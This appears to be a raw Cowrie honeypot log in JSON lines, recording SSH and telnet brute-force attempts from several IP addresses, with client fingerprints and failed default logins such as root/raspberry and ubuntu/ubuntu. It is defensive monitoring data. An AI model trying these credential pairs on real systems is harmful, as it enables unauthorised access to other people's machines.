{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52002,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f9e0823aa6d","protocol":"ssh","message":"New connection: 45.153.34.112:52002 (10.17.0.5:22) [session: 0f9e0823aa6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:03.946369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:03.952058Z","src_ip":"45.153.34.112","session":"0f9e0823aa6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:04.036746Z","src_ip":"45.153.34.112","session":"0f9e0823aa6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:04.330029Z","src_ip":"45.153.34.112","session":"0f9e0823aa6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:05.418694Z","src_ip":"45.153.34.112","session":"0f9e0823aa6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59810,"dst_ip":"10.17.0.5","dst_port":23,"session":"12da9a4f20f5","protocol":"telnet","message":"New connection: 192.119.13.58:59810 (10.17.0.5:23) [session: 12da9a4f20f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:05.557317Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3244b7ba243","protocol":"telnet","message":"New connection: 192.119.13.58:58446 (10.17.0.5:23) [session: c3244b7ba243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:06.323310Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52016,"dst_ip":"10.17.0.5","dst_port":22,"session":"448b4dcd1460","protocol":"ssh","message":"New connection: 45.153.34.112:52016 (10.17.0.5:22) [session: 448b4dcd1460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:07.330264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:07.335546Z","src_ip":"45.153.34.112","session":"448b4dcd1460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:07.418442Z","src_ip":"45.153.34.112","session":"448b4dcd1460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:07.666142Z","src_ip":"45.153.34.112","session":"448b4dcd1460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42612,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84f5940dcdb","protocol":"telnet","message":"New connection: 192.119.13.58:42612 (10.17.0.5:23) [session: c84f5940dcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:08.282048Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:08.763236Z","src_ip":"45.153.34.112","session":"448b4dcd1460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44844,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f009171894","protocol":"telnet","message":"New connection: 192.119.13.58:44844 (10.17.0.5:23) [session: 65f009171894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:08.805634Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45790,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85ed1e5c301","protocol":"telnet","message":"New connection: 192.119.13.58:45790 (10.17.0.5:23) [session: f85ed1e5c301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:08.984573Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49238,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3d33a287967","protocol":"ssh","message":"New connection: 45.153.34.112:49238 (10.17.0.5:22) [session: a3d33a287967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:10.778634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:10.784608Z","src_ip":"45.153.34.112","session":"a3d33a287967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:10.897494Z","src_ip":"45.153.34.112","session":"a3d33a287967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:11.269111Z","src_ip":"45.153.34.112","session":"a3d33a287967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":48988,"dst_ip":"10.17.0.5","dst_port":22,"session":"57fb387b1674","protocol":"ssh","message":"New connection: 43.130.36.39:48988 (10.17.0.5:22) [session: 57fb387b1674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:12.243559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:12.248621Z","src_ip":"43.130.36.39","session":"57fb387b1674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:12.319309Z","src_ip":"43.130.36.39","session":"57fb387b1674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:12.353231Z","src_ip":"45.153.34.112","session":"a3d33a287967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aovalle","password":"123456","message":"login attempt [aovalle/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:12.628615Z","src_ip":"43.130.36.39","session":"57fb387b1674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33836,"dst_ip":"10.17.0.5","dst_port":23,"session":"514f715d4b11","protocol":"telnet","message":"New connection: 192.119.13.58:33836 (10.17.0.5:23) [session: 514f715d4b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:13.069499Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34416,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b91accb5373","protocol":"telnet","message":"New connection: 192.119.13.58:34416 (10.17.0.5:23) [session: 3b91accb5373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:13.207451Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:13.701126Z","src_ip":"43.130.36.39","session":"57fb387b1674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49270,"dst_ip":"10.17.0.5","dst_port":22,"session":"76eeee2eb1dd","protocol":"ssh","message":"New connection: 45.153.34.112:49270 (10.17.0.5:22) [session: 76eeee2eb1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:14.261626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:14.266281Z","src_ip":"45.153.34.112","session":"76eeee2eb1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:14.349383Z","src_ip":"45.153.34.112","session":"76eeee2eb1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:14.596620Z","src_ip":"45.153.34.112","session":"76eeee2eb1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41220,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b49a5ac5bc","protocol":"telnet","message":"New connection: 192.119.13.58:41220 (10.17.0.5:23) [session: d5b49a5ac5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:14.834293Z"}
{"eventid":"cowrie.session.closed","duration":36.15694832801819,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:15.376093Z","src_ip":"192.119.13.58","session":"791f7f306ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:15.774923Z","src_ip":"45.153.34.112","session":"76eeee2eb1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.22808265686035,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:16.898109Z","src_ip":"192.119.13.58","session":"7e5e58550bda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":42203,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c096cf10e3b","protocol":"ssh","message":"New connection: 45.66.52.41:42203 (10.17.0.5:22) [session: 3c096cf10e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:16.918407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:16.927739Z","src_ip":"45.66.52.41","session":"3c096cf10e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:17.107209Z","src_ip":"45.66.52.41","session":"3c096cf10e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49290,"dst_ip":"10.17.0.5","dst_port":22,"session":"29118284cbf6","protocol":"ssh","message":"New connection: 45.153.34.112:49290 (10.17.0.5:22) [session: 29118284cbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:17.732553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:17.737471Z","src_ip":"45.153.34.112","session":"29118284cbf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:17.820769Z","src_ip":"45.153.34.112","session":"29118284cbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.33334302902222,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:17.922291Z","src_ip":"186.195.16.41","session":"c443b5e173ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:17.930663Z","src_ip":"45.66.52.41","session":"3c096cf10e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:18.071515Z","src_ip":"45.153.34.112","session":"29118284cbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:19.113218Z","src_ip":"45.66.52.41","session":"3c096cf10e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:19.156352Z","src_ip":"45.153.34.112","session":"29118284cbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.578282833099365,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:20.049388Z","src_ip":"192.119.13.58","session":"e43b7ba2803a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.879534006118774,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:20.268675Z","src_ip":"192.119.13.58","session":"4cbfd6b08c89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37148,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea22f6aacfa9","protocol":"telnet","message":"New connection: 192.119.13.58:37148 (10.17.0.5:23) [session: ea22f6aacfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:20.591363Z"}
